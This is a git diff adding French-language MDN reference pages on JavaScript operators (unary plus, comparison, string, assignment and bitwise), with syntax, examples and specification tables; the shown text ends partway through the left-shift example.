L'opérateur unaire plus (+) précède son opérande, l'évaluation correspond à son opérande, converti en nombre si possible et si ce n'est pas déjà un nombre. Bien que l'opérateur de négation unaire (-) puisse également convertir les expressions qui ne sont pas des nombres, le plus unaire est la méthode la plus efficace et celle la plus utilisée pour convertir quelque chose en un nombre car la conversion est la seule opération effectuée. Cet opérateur permet de convertir les chaînes de caractères représentant des nombres entiers, des nombres flottants ainsi que les valeurs true, false, et null. Les entiers, représentés sous forme décimale ou hexadécimale (préfixés par "0x"), sont supportés. Les nombres négatifs sont également supportés (mais pas au format hexadécimal). Si l'opérateur ne peut pas analyser l'opérande fourni, il sera évalué à NaN.

+ +

Syntaxe

+ +
Opérator : +x
+ +

Exemples

+ +
+3     // 3
++"3"   // 3
++true  // 1
++false // 0
++null  // 0
++function(val){ return val; } // NaN
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-additive-operators')}}{{Spec2('ESDraft')}}
{{SpecName('ES2017', '#sec-postfix-expressions')}}{{Spec2('ES2017')}}
{{SpecName('ES2016', '#sec-postfix-expressions')}}{{Spec2('ES2016')}}Ajout de l'opérateur d'exponentiation.
{{SpecName('ES2015', '#sec-postfix-expressions')}}{{Spec2('ES2015')}}Définis au sein de plusieurs sections de cette spécification : Opérateurs additifs, opérateurs multiplicatifs, expressions postfixes, opérateurs unaires.
{{SpecName('ES5.1', '#sec-11.3')}}{{Spec2('ES5.1')}}Définis au sein de plusieurs sections de cette spécification : Opérateurs additifs, opérateurs multiplicatifs, expressions postfixes, opérateurs unaires.
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.arithmetic")}}

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/javascript/reference/operators_03cb648b1d07bbaa8b57526b509d6d55/index.html b/files/fr/conflicting/web/javascript/reference/operators_03cb648b1d07bbaa8b57526b509d6d55/index.html new file mode 100644 index 0000000000..50d1221a40 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/operators_03cb648b1d07bbaa8b57526b509d6d55/index.html @@ -0,0 +1,257 @@ +--- +title: Opérateurs de comparaison +slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison +tags: + - JavaScript + - Opérateur + - Reference +translation_of: Web/JavaScript/Reference/Operators +translation_of_original: Web/JavaScript/Reference/Operators/Comparison_Operators +--- +
{{jsSidebar("Operators")}}
+ +

JavaScript possède des opérateurs de comparaisons stricts et des opérateurs de comparaisons qui effectuent des conversions. Une comparaison strict (ex. : ===) ne sera vraie que si les deux opérandes sont du même type. La comparaison d'égalité faible (==) convertira les deux opérandes en un même type avant d'effectuer la comparaison. Pour les comparaisons relationnelles (ex. : <=), les opérandes sont tout d'abord converties en valeurs, puis en valeurs du même type, enfin la comparaison est effectuée.

+ +

Les chaînes de caractères sont comparées en fonction de l'ordre lexicographique, avec des valeurs Unicode.

+ +
{{EmbedInteractiveExample("pages/js/expressions-comparisonoperators.html")}}
+ + + +

Les règles de comparaisons pour les types primitifs sont les suivantes :

+ +
    +
  • Deux chaînes de caractères sont strictement égales lorsqu'elles ont la même séquence de caractères, la même longueur et les mêmes caractères aux mêmes positions.
    • +
  • Deux nombres sont strictement égaux lorsqu'ils ont la même valeur. {{jsxref("Objets_globaux/NaN","NaN")}} n'est égal à rien, y compris lui-même. Le zéro positif et le zéro négatif sont considérés égaux.
    • +
  • Deux booléens sont strictement égaux s'ils valent tous les deux true ou tous les deux false.
    • +
  • Deux objets distincts ne sont jamais égaux l'un à l'autre (pour l'égalité faible et stricte).
    • +
  • Deux objets sont égaux si les deux opérandes sont des références au même objet.
    • +
  • Les types nul et indéfini sont strictement égaux à eux-mêmes et sont faiblement égaux l'un à autre.
    • +
+ +

Les opérateurs d'égalité

+ +

Égalité simple (==)

+ +

L'opérateur d'égalité simple convertit les deux opérandes s'ils ne sont pas du même type, ensuite la comparaison stricte est appliquée. Si les deux opérandes sont des objets, le moteur JavaScript comparera les références internes pour voir si elles réfèrent au même objet en mémoire.

+ +

Syntaxe

+ +
x == y
+
+ +

Exemples

+ +
 1   ==  1;        // true
+"1"  ==  1;        // true
+ 1   == '1';       // true
+ 0   == false;     // true
+ 0   == null;      // false
+ 0   == undefined  // false
+null == undefined  // true
+
+var obj1 = { "clé": "valeur"};
+var obj2 = { "clé": "valeur"};
+obj1 == obj2       // false
+
+ +

Inégalité simple (!=)

+ +

L'opérateur d'inégalité simple renvoie true si les deux opérandes ne sont pas égaux. Si les deux opérandes ne sont pas du même type, une conversion sera effectuée vers un type adéquat. Si les deux opérandes sont des objets, le moteur JavaScript comparera les références internes pour voir si elles réfèrent à des objets différents en mémoire.

+ +

Syntaxe

+ +
x != y
+ +

Exemples

+ +
1 !=   2;     // true
+1 !=  "1";    // false
+1 !=  '1';    // false
+1 !=  true;   // false
+0 !=  false;  // false
+
+ +

Égalité stricte (===)

+ +

L'opérateur d'égalité stricte renvoie true si les opérandes sont strictement égaux (voir ci-avant), aucune conversion de type n'est effectuée.

+ +

Syntaxe

+ +
x === y
+ +

Exemples

+ +
3 === 3   // true
+3 === '3' // false
+
+var objet1 = {'clé': 'valeur'};
+var objet2 = {'clé': 'valeur'};
+objet1 === objet2; // false
+
+ +

Inégalité stricte (!==)

+ +

L'opérateur d'inégalité stricte renvoie true si les opérandes sont de types différents ou ne sont pas égaux.

+ +

Syntaxe

+ +
x !== y
+ +

Exemples

+ +
3 !== '3' // true
+4 !== 3   // true
+
+ +

Opérateurs relationnels

+ +
+

Note : Chacun de ces opérateurs invoquera la fonction valueOf() des opérandes qui sont des objets avant d'effectuer la comparaison.

+
+ +

Supérieur strict (>)

+ +

Cet opérateur renvoie true si l'opérande gauche est strictement supérieur à l'opérande droit.

+ +

Syntaxe

+ +
x > y
+ +

Exemples

+ +
4 > 3; // true
+
+ +

Supérieur ou égal (>=)

+ +

Cet opérateur renvoie true si l'opérande gauche est supérieur ou égal à l'opérande droit

+ +

Syntaxe

+ +
 x >= y
+ +

Exemples

+ +
4 >= 3; // true
+3 >= 3; // true
+
+ +

Inférieur strict (<)

+ +

Cet opérateur renvoie true si l'opérande gauche est strictement inférieur à l'opérande droit

+ +

Syntaxe

+ +
 x < y
+ +

Exemples

+ +
3 < 4; // true
+
+ +

Inférieur ou égal (<=)

+ +

Cet opérateur renvoie true si l'opérande gauche est inférieur ou égal à l'opérande droit

+ +

Syntaxe

+ +
 x <= y
+ +

Exemples

+ +
3 <= 4; // true
+
+ +

Utiliser les opérateurs d'égalité

+ +

Les opérateurs d'égalité/inégalité faible (== et !=) utilisent l'algorithme de comparaison d'égalité abstraite afin de comparer les deux opérandes. Si les opérandes sont de types primitifs différents, le moteur tentera de les convertir en un même type avant d'effectuer la comparaison. Ainsi, dans l'expression 5 == '5', la chaîne de droite est convertie en un nombre avant que la comparaison soit faite.

+ +

Les opérateurs d'égalité/inégalité stricte (=== et !==) utilisent l'algorithme de comparaison d'égalité stricte. Si les opérandes sont de types différents, le résultat sera toujours false, on aura donc 5 !== '5'.

+ +

Selon qu'on souhaite comparer des opérandes qui sont censés avoir le même type ou non, on utilisera l'un ou l'autre type d'opérateur.

+ +

Si un opérande doit être comparé à un autre type, le moteur effectuera une conversion de la façon suivante :

+ +
    +
  • Lorsqu'une comparaison est opérée entre une chaîne de caractères et un nombre, Javascript tente de convertir la chaine en une valeur numérique. Une valeur mathématique est obtenue à partir de la chaîne littérale numérique, puis celle-ci est arrondie à une valeur de type Nombre.
    • +
  • Si l'un des opérandes est de type booléen, true sera converti en 1 et false en +0.
    • +
  • Si on compare un objet avec un nombre ou une chaîne, le moteur JavaScript tentera de renvoyer la valeur par défaut de l'objet. Les opérateurs opèrent une conversion grâce aux méthodes valueOf (pour obtenir un nombre) et toString (pour obtenir une chaîne de caractères). Si cela ne fonctionne pas, une exception sera levée.
    • +
  • Un objet sera converti en un type primitif autre uniquement si l'autre opérande est un type primitif (autre qu'objet). Si les deux opérandes sont des objets, ils seront comparés comme deux objets (voir ci-avant) et l'égalité ne sera vérifiée que si les opérandes font référence au même objet en mémoire
    • +
+ +
+

Note : Voir également la page sur les différents tests d'égalité et quand les utiliser.

+
+ +
Note : Les objets String sont du type objet et ne sont pas de simples chaînes de caractères ! Cela peut parfois avoir des conséquences surprenantes :
+ +
// true car les deux opérandes sont du type primitif chaîne de caractères
+'toto' === 'toto'
+
+var a = new String('toto');
+var b = new String('toto');
+
+// false car a et b sont du type objet mais font référence à deux objets distincts
+a == b
+
+// false car a et b sont du type objet mais font référence à deux objets distincts
+a === b
+
+// true car a et 'toto' sont de type différents et lorsque a est
+// converti, la fonction de conversion renvoie bien la chaîne 'toto'
+a == 'toto'
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0
{{SpecName('ES3')}}{{Spec2('ES3')}}Ajoute les opérateurs === et !==. Implémentés avec JavaScript 1.3
{{SpecName('ES5.1', '#sec-11.8')}}{{Spec2('ES5.1')}}Définis dans plusieurs sections de la spécification : opérateurs relationnels, opérateurs d'égalité
{{SpecName('ES6', '#sec-relational-operators')}}{{Spec2('ES6')}}Définis dans plusieurs sections de la spécification : opérateurs relationnels, opérateurs d'égalité
{{SpecName('ESDraft', '#sec-relational-operators')}}{{Spec2('ESDraft')}}Définis dans plusieurs sections de la spécification : opérateurs relationnels, opérateurs d'égalité
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.comparison")}}

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/javascript/reference/operators_201bc9aef1615ff38f215c35d4cde8c9/index.html b/files/fr/conflicting/web/javascript/reference/operators_201bc9aef1615ff38f215c35d4cde8c9/index.html new file mode 100644 index 0000000000..5b7ec3375f --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/operators_201bc9aef1615ff38f215c35d4cde8c9/index.html @@ -0,0 +1,28 @@ +--- +title: Opérateurs de chaînes +slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_de_chaînes +translation_of: Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition +translation_of_original: Web/JavaScript/Reference/Operators/String_Operators +--- +

 

+

Résumé

+

En complément des opérateurs de comparaison, qui peuvent être utilisés sur des valeurs chaînes de caractères, l'opérateur de concaténation (+) permet d'assembler deux chaînes, en renvoyant une nouvelle chaîne étant l'union des deux opérandes chaînes. Par exemple, "ma " + "chaîne" renvoie la chaîne "ma chaîne".

+

L'opérateur raccourci d'assignation += peut également être utilisé pour concaténer des chaînes. Par exemple, si la variable ma_chaine a la valeur "alpha", l'expression ma_chaine += "bet" sera évaluée à "alphabet" et assignera cette valeur à la variable ma_chaine.

+ + + + + + + + + + + + + + +
Opérateur
Implémentation :JavaScript 1.0
Version ECMA :ECMA-262
+
+  
+

{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Operators/String_Operators", "es": "es/Referencia_de_JavaScript_1.5/Operadores/String", "pl": "pl/Dokumentacja_j\u0119zyka_JavaScript_1.5/Operatory/Operatory_dzia\u0142aj\u0105ce_na_ci\u0105gach_znak\u00f3w" } ) }}

diff --git a/files/fr/conflicting/web/javascript/reference/operators_2be16fc74d75a7c9dca0abca1dc5883b/index.html b/files/fr/conflicting/web/javascript/reference/operators_2be16fc74d75a7c9dca0abca1dc5883b/index.html new file mode 100644 index 0000000000..d019cb8637 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/operators_2be16fc74d75a7c9dca0abca1dc5883b/index.html @@ -0,0 +1,414 @@ +--- +title: Opérateurs d'affectation +slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation +tags: + - JavaScript + - Operator + - Reference +translation_of: Web/JavaScript/Reference/Operators#Assignment_operators +translation_of_original: Web/JavaScript/Reference/Operators/Assignment_Operators +--- +
{{jsSidebar("Operators")}}
+ +

Un opérateur d'affectation permet d'assigner une valeur à son opérande gauche en se basant sur la valeur de son opérande droit.

+ +
{{EmbedInteractiveExample("pages/js/expressions-assignment.html")}}
+ + + +

Description

+ +

L'opérateur utilisé pour l'affectation est le symbole égal (=), il permet d'affecter la valeur de l'opérande droit à son opérande gauche. Ainsi, quand on écrit x = y, on affecte la valeur de y à x. Les autres opérateurs d'affectation sont généralement des raccourcis pour des opérations standards. Ils sont décrits ci-après avec définitions et exemples.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NomOpérateur (raccourci)Signification
Affectationx = yx = y
Affectation après additionx += yx = x + y
Affectation après soustractionx -= yx = x - y
Affectation après multiplicationx *= yx = x * y
Affectation après divisionx /= yx = x / y
Affectation du restex %= yx = x % y
Affectation après exponentiationx **= yx = x ** y
Affectation après décalage à gauchex <<= yx = x << y
Affectation après décalage à droitex >>= yx = x >> y
Affectation après décalage à droite non-signéx >>>= yx = x >>> y
Affectation après ET binairex &= yx = x & y
Affectation après OU exclusif binairex ^= yx = x ^ y
Affectation après OU binairex |= yx = x | y
+ +

Affectation

+ +

L'opérateur d'affectation simple permet d'assigner une valeur à une variable. Le résultat de l'affectation est la valeur affectée. Il est possible de chaîner plusieurs opérateurs d'affectation afin d'assigner une même valeur à plusieurs variables. Voir l'exemple ci-après.

+ +

Syntaxe

+ +
Opérateur : x = y
+
+ +

Exemples

+ +
// Si on dispose des variables suivantes :
+//  x = 5;
+//  y = 10;
+//  z = 25;
+
+x = y;     // x vaudra désormais 10
+x = y = z; // x, y et z valent désormais tous 25
+
+ +

Affectation après addition

+ +

Cet opérateur permet d'ajouter la valeur de l'opérande droit à une variable, le résultat de l'addition étant affecté à cette variable. Les types des deux opérandes déterminent le comportement de l'opérateur. Selon le type, on pourra en effet avoir une addition ou une concaténation. Voir la page sur l'opérateur d'{{jsxref("Opérateurs/Opérateurs_arithmétiques", "addition", "#Addition_(.2B)", 1)}} pour plus d'informations.

+ +

Syntaxe

+ +
Opérateur : x += y
+Signification :  x  = x + y
+
+ +

Exemples

+ +
// Si on dispose des variables suivantes :
+//  toto = "toto";
+//  truc = 5;
+//  machin = true;
+
+
+// Nombre + Nombre -> addition
+truc += 2; // 7
+
+// Booléen + Booléen -> addition
+machin += 1; // 2
+
+// Booléen + Booléen -> addition
+machin += false; // 1
+
+// Nombre + String -> concaténation
+truc += "toto"; // "5toto"
+
+// String + Booléen -> concaténation
+toto += false; // "totofalse"
+
+// String + String -> concaténation
+toto += "truc"; // "tototruc"
+
+ +

Affectation après soustraction

+ +

Cet opérateur soustrait la valeur de l'opérande droit à la variable puis affecte le résultat de cette soustraction à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_arithmétiques", "soustraction", "#Soustraction_(-)", 1)}} pour plus d'information.

+ +

Syntaxe

+ +
Opérateur : x -= y
+Signification :  x  = x - y
+
+ +

Exemples

+ +
// Si on a la variable suivante :
+//  truc = 5;
+
+truc -= 2;     // 3
+truc -= "toto"; // NaN
+
+ +

Affectation après multiplication

+ +

Cet opérateur permet de multiplier une variable par la valeur de l'opérande droit et d'affecter le résultat de cette opération à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_arithmétiques", "multiplication", "#Multiplication_(*)", 1)}} pour plus d'informations.

+ +

Syntaxe

+ +
Opérateur : x *= y
+Signification :  x  = x * y
+
+ +

Exemples

+ +
// Si on a la variable suivante :
+//  truc = 5;
+
+truc *= 2;     // 10
+truc *= "toto"; // NaN
+
+ +

Affectation après division

+ +

Cet opérateur permet de diviser une variable par la valeur de l'opérande droit et d'affecter le résultat de cette opération à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_arithmétiques", "division", "#Division_(.2F)", 1)}} pour plus d'informations.

+ +

Syntaxe

+ +
Opérateur : x /= y
+Signification :  x  = x / y
+
+ +

Exemples

+ +
// Si on a la variable suivante :
+//  truc = 5;
+
+truc /= 2;     // 2.5
+truc /= "toto"; // NaN
+truc /= 0;     // Infinity
+
+ +

Affectation du reste

+ +

Cet opérateur permet de divisier une variable par la valeur de l'opérande droit et d'affecter le reste de cette division à la variable. Pour plus d'informations, voir la page sur l'opérateur {{jsxref("Opérateurs/Opérateurs_arithmétiques", "reste", "#Reste_(.25)", 1)}}.

+ +

Syntaxe

+ +
Opérateur : x %= y
+Signification :  x  = x % y
+
+ +

Exemples

+ +
// Si on a la variable suivante :
+//  truc = 5;
+
+truc %= 2;      // 1
+truc %= "toto"; // NaN
+truc %= 0;      // NaN
+
+ +

Affectation après exponentiation

+ +

L'opérateur d'affectation après exponentiation renvoie le résultat de l'élévation du premier opérande à la puissance donnée par le second opérande. Pour plus de détails, voir la page sur {{jsxref("Opérateurs/Opérateurs_arithmétiques", "l'opérateur d'exponentiation", "#Exponentiation_(**)", 1)}} for more details.

+ +

Syntaxe

+ +
Opérateur : x **= y
+Signification :  x  = x ** y
+
+ +

Exemples

+ +
// Si on a la variable :
+//  toto = 5
+
+toto **= 2      // 25
+toto **= "truc" // NaN
+ +

Affectation après décalage à gauche

+ +

Cet opérateur permet de décaler un nombre donné de bits vers la gauche, le résultat de l'opération est ensuite affecté à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_binaires", "décalage à gauche", "#.3C.3C_.28d.C3.A9calage_.C3.A0_gauche.29", 1)}} pour plus d'informations.

+ +

Syntaxe

+ +
Opérateur : x <<= y
+Signification :  x   = x << y
+
+ +

Exemples

+ +
var toto = 5; //  (00000000000000000000000000000101)
+toto <<= 2;   // 20 (00000000000000000000000000010100)
+
+ +

Affectation après décalage à droite

+ +

Cet opérateur permet de décaler un nombre donné de bits vers la droite, le résultat de l'opération est ensuite affecté à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_binaires", "décalage à droite", "##.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_propagation_du_signe.29", 1)}} pour plus d'informations.

+ +

Syntaxe

+ +
Opérateur : x >>= y
+Signification :  x   = x >> y
+
+ +

Exemples

+ +
var toto = 5; //   (00000000000000000000000000000101)
+toto >>= 2;   // 1 (00000000000000000000000000000001)
+
+var toto -5; //    (-00000000000000000000000000000101)
+toto >>= 2;  // -2 (-00000000000000000000000000000010)
+
+ +

Affectation après décalage à droite non-signé

+ +

Cet opérateur permet de décaler le contenu de la variable d'un nombre de bits donné pour ensuite affecter le résultat à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_binaires", "décalage à droite non-signé", "#.3E.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_insertion_de_z.C3.A9ros.29", 1)}} pour plus de détails.

+ +

Syntaxe

+ +
Opérateur : x >>>= y
+Signification :  x    = x >>> y
+
+ +

Exemples

+ +
var toto = 5; //   (00000000000000000000000000000101)
+toto >>>= 2;  // 1 (00000000000000000000000000000001)
+
+var toto = -5; // (-00000000000000000000000000000101)
+toto >>>= 2; // 1073741822 (00111111111111111111111111111110)
+ +

Affectation après ET binaire

+ +

Cet opérateur effectue une opération ET binaire sur les deux opérandes et affecte le résultat de l'opération à la variable (l'opérande gauche). Pour plus d'informations sur cette opération, voir la page sur l'opérateur {{jsxref("Opérateurs/Opérateurs_binaires", "binaire ET", "#&_.28ET_binaire.29", 1)}}.

+ +

Syntaxe

+ +
Opérateur : x &= y
+Signification :  x  = x & y
+
+ +

Exemple

+ +
var truc = 5;
+// 5:     00000000000000000000000000000101
+// 2:     00000000000000000000000000000010
+truc &= 2; // 0
+
+ +

Affectation après OU exclusif (XOR) binaire

+ +

Cet opérateur utilise une représentation binaire des deux opérandes, effectue une opération binaire avec un OU exclusif et affecte le résultat à la variable. Pour plus d'informations sur cette opération, voir la page sur l'opérateur {{jsxref("Opérateurs/Opérateurs_binaires", "binaire OU exclusif", "#.5E_.28XOR_binaire.29", 1)}}.

+ +

Syntaxe

+ +
Opérateur : x ^= y
+Signification :  x  = x ^ y
+
+ +

Exemple

+ +
var toto = 5;
+toto ^= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+
+ +

Affectation après OU binaire

+ +

Cet opérateur utilise une représentation binaire des deux opérandes, effectue un OU logique binaire entre ces deux variables et affecte le résultat de l'opération à la variable. Pour plus de détails sur cette opération, voir la page sur l'opérateur {{jsxref("Opérateurs/Opérateurs_binaires", "OU binaire", "#|_.28OU_binaire.29", 1)}}.

+ +

Syntaxe

+ +
Opérateur : x |= y
+Signification :  x  = x | y
+
+ +

Exemple

+ +
var toto = 5;
+toto |= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+
+ +

Exemples

+ +

Opérande gauche utilisé avec un autre opérateur d'affectation

+ +

Dans certains cas, l'opérateur d'affectation (par exemple x += y) n'est pas identique à l'expression développée correspondante (respectivement x = x + y). Lorsque l'opérande gauche contient lui-même un opérateur d'affectation, l'opérande gauche n'est évalué qu'une fois. Ainsi :

+ +
a[i++] += 5         // i est évalué une fois
+a[i++] = a[i++] + 5 // i est évalué deux fois
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-assignment-operators', 'Assignment operators')}}{{Spec2('ES2015')}}
{{SpecName('ES5.1', '#sec-11.13', 'Assignment operators')}}{{Spec2('ES5.1')}}
{{SpecName('ES1', '#sec-11.13', 'Assignment operators')}}{{Spec2('ES1')}}Définition initiale
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.assignment")}}

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/javascript/reference/operators_688eef608213025193cd6b8e1e75b5c3/index.html b/files/fr/conflicting/web/javascript/reference/operators_688eef608213025193cd6b8e1e75b5c3/index.html new file mode 100644 index 0000000000..af76410f01 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/operators_688eef608213025193cd6b8e1e75b5c3/index.html @@ -0,0 +1,554 @@ +--- +title: Opérateurs binaires +slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires +tags: + - JavaScript + - Operator + - Opérateur + - Reference +translation_of: Web/JavaScript/Reference/Operators +translation_of_original: Web/JavaScript/Reference/Operators/Bitwise_Operators +--- +
{{jsSidebar("Operators")}}
+ +

Les opérateurs binaires traitent leurs opérandes comme des séquences de 32 bits (des zéros et des uns), plutôt que comme des nombres décimaux, hexadécimaux ou octaux. Par exemple, le nombre décimal neuf a une représentation binaire de 1001. Les opérateurs binaires traitent de telles représentations binaires, mais renvoient des valeurs numériques JavaScript standards.

+ +
{{EmbedInteractiveExample("pages/js/expressions-bitwiseoperators.html")}}
+ + + +

Le tableau qui suit résume les opérateurs binaires de JavaScript :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
OpérateurUtilisationDescription
ET binairea & b +

Renvoie un 1 pour chaque position de bit pour laquelle les bits correspondants des deux opérandes sont des 1.

+
OU binairea | bRenvoie un 1 pour chaque position de bit pour laquelle le bit correspondant d'au moins un des deux opérandes est un 1 .
OU exclusif binaire (XOR)a ^ bRenvoie un 1 pour chaque position de bit pour laquelle le bit correspondant d'un seul des deux opérandes est un 1.
NON binaire~ aInverse les bits de son opérande.
Décalage à gauchea << bDécale a en représentation binaire de b bits vers la gauche, en introduisant des zéros par la droite.
Décalage à droite avec propagation du signea >> bDécale a en représentation binaire de b bits vers la droite, en rejetant les bits à droite.
Décalage à droite avec introduction de zérosa >>> bDécale a en représentation binaire de b bits vers la droite, en rejetant les bits à droite et en introduisant des zéros par la gauche.
+ +

Entiers sur 32 bits signés

+ +

Les opérandes de tous les opérateurs binaires sont convertis en entiers signés sur 32 bits en ordre big-endian et en format de complément à deux (à l'exception de l'opération de décalage à droite avec remplissage des zéros qui renvoie un non-signé). L'ordre big-endian signifie que le bit le plus significatif (la position du bit qui a la plus grande valeur) est le bit le plus à gauche si les 32 bits sont disposés sur une ligne horizontale. Le format de complément à deux signifie que la contrepartie négative d'un nombre (par exemple 5 pour -5) est l'inversion de tous les bits du nombre (NON binaire du nombre, c'est-à-dire son complément à un) plus un. Par exemple, la représentation suivante encode l'entier 314 (base 10) :

+ +
00000000000000000000000100111010
+
+ +

La représentation suivante encode ~314, c'est-à-dire le complément à un de 314 :

+ +
11111111111111111111111011000101
+
+ +

Finalement, la représentation suivante encode -314, c'est-à-dire le complément à deux de 314 :

+ +
11111111111111111111111011000110
+
+ +

Le complément à deux garantit que le bit le plus à gauche soit 0 lorsque le nombre est positif, et 1 lorsque le nombre est négatif. C'est pourquoi on l'appelle le bit de signe .

+ +

Le nombre 0 est l'entier constitué intégralement de bits à 0 .

+ +
0 (base 10) = 00000000000000000000000000000000 (base 2)
+ +

Le nombre -1 est l'entier constitué intégralement de bits à 1 .

+ +
-1 (base 10) = 11111111111111111111111111111111 (base 2)
+ +

Le nombre -2147483648 (qui correspond à -0x80000000 en notation hexadécimale) est l'entier uniquement composé de 0, à l'exception du premier bit (le plus à gauche) qui vaut 1.

+ +
-2147483648 (base 10) = 10000000000000000000000000000000 (base 2)
+ +

Le nombre 2147483647 (qui correspond à 0x7fffffff en notation hexadécimale) est l'entier uniquement composé de 1, à l'exception du premier bit (le plus à gauche) qui vaut 0.

+ +
2147483647 (base 10) = 01111111111111111111111111111111 (base 2)
+ +

Les nombres -2147483648 et 2147483647 sont respectivement le nombre le plus petit et le plus grand qu'on peut représenter sur 32 bits (signés).

+ +

Opérateurs logiques binaires

+ +

Conceptuellement, les opérateurs logiques binaires fonctionnent de la manière suivante :

+ +
    +
  • Les opérandes sont convertis en entiers sur 32 bits et exprimés sous la forme d'une série de bits (des 1 et des 0). Les nombres sur plus de 32 bits voient leurs bits supplémentaires supprimés : + 
    Avant : 11100110111110100000000000000110000000000001
+Après :             10100000000000000110000000000001
    +
    • +
  • Chaque bit du premier opérande est combiné avec le bit correspondant du second opérande : le premier bit avec le premier bit, le second bit avec le second bit, et ainsi de suite.
    • +
  • L'opérateur est appliqué à chaque paire de bits, et le résultat est construit bit après bit.
    • +
+ +

& (ET binaire)

+ +

Effectue l'opération ET (AND) sur chaque paire de bits. a ET b donne 1 uniquement si à la fois a et b sont 1 . La table de vérité pour l'opération ET est :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
aba ET b
000
010
100
111
+ +
     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
+
+ +

Utiliser le ET binaire avec n'importe quel nombre x et zéro donne zéro. Utiliser le ET binaire avec n'importe quel nombre x et -1 donne x.

+ +

| (OU binaire)

+ +

Effectue l'opération OU (OR) sur chaque paire de bits. a OU b donne 1 si a ou b vaut 1. La table de vérité pour l'opération OU est :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
aba OU b
000
011
101
111
+ +
     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10)
+
+ +

Utiliser le OU binaire avec n'importe quel nombre x et 0 donne x. Utiliser le OU binaire avec n'importe quel nombre x et -1 donne -1.

+ +

^ (XOR binaire)

+ +

Effectue l'opération XOR (OU exclusif) sur chaque paire de bits. a XOR b donne 1 si a et b sont différents. La table de vérité pour l'opération XOR est :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
aba XOR b
000
011
101
110
+ +
     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10)
+
+ +

Utiliser le XOR binaire avec n'importe quel nombre x et 0 donne x. Utiliser le XOR binaire avec n'importe quel nombre x et -1 donne ~x.

+ +

~ (NON binaire)

+ +

Effectue l'opération NON (NOT) sur chaque bit. NON a donne la valeur inversée (c'est-à-dire le complément à un) de a. La table de vérité de l'opération NON est :

+ + + + + + + + + + + + + + + + +
aNON a
01
10
+ +
 9 (base 10) = 00000000000000000000000000001001 (base 2)
+               --------------------------------
+~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10)
+
+ +

Utiliser le NON binaire avec n'importe quel nombre x donne -(x + 1). Par exemple, ~-5 donne 4.

+ +

Étant donnée la représentation sur 32 bits des nombres en JavaScript, on a ~-1 et ~4294967295 (232-1) qui valent tous les deux 0.

+ +

Opérateurs de décalage binaire

+ +

Les opérateurs de décalage binaire (shift) prennent deux opérandes : le premier est une valeur à décaler et le second spécifie le nombre de positions de bits duquel le premier opérande doit glisser. La direction de l'opération de décalage est contrôlée par l'opérateur utilisé.

+ +

Les opérateurs de décalage convertissent leurs opérandes en entiers 32 bits en ordre big-endian et renvoient un résultat du même type que l'opérande de gauche. L'opérande droit doit être inférieur à 32, sinon les cinq bits les plus faibles seront utilisés.

+ +

<< (décalage à gauche)

+ +

Cet opérateur décale le premier opérande du nombre de bits spécifié vers la gauche. Les bits surnuméraires éjectés à gauche sont perdus. Des bits à zéro sont insérés par la droite.

+ +

Par exemple, 9 << 2 donne 36 :

+ +
     9 (base 10) : 00000000000000000000000000001001 (base 2)
+                   --------------------------------
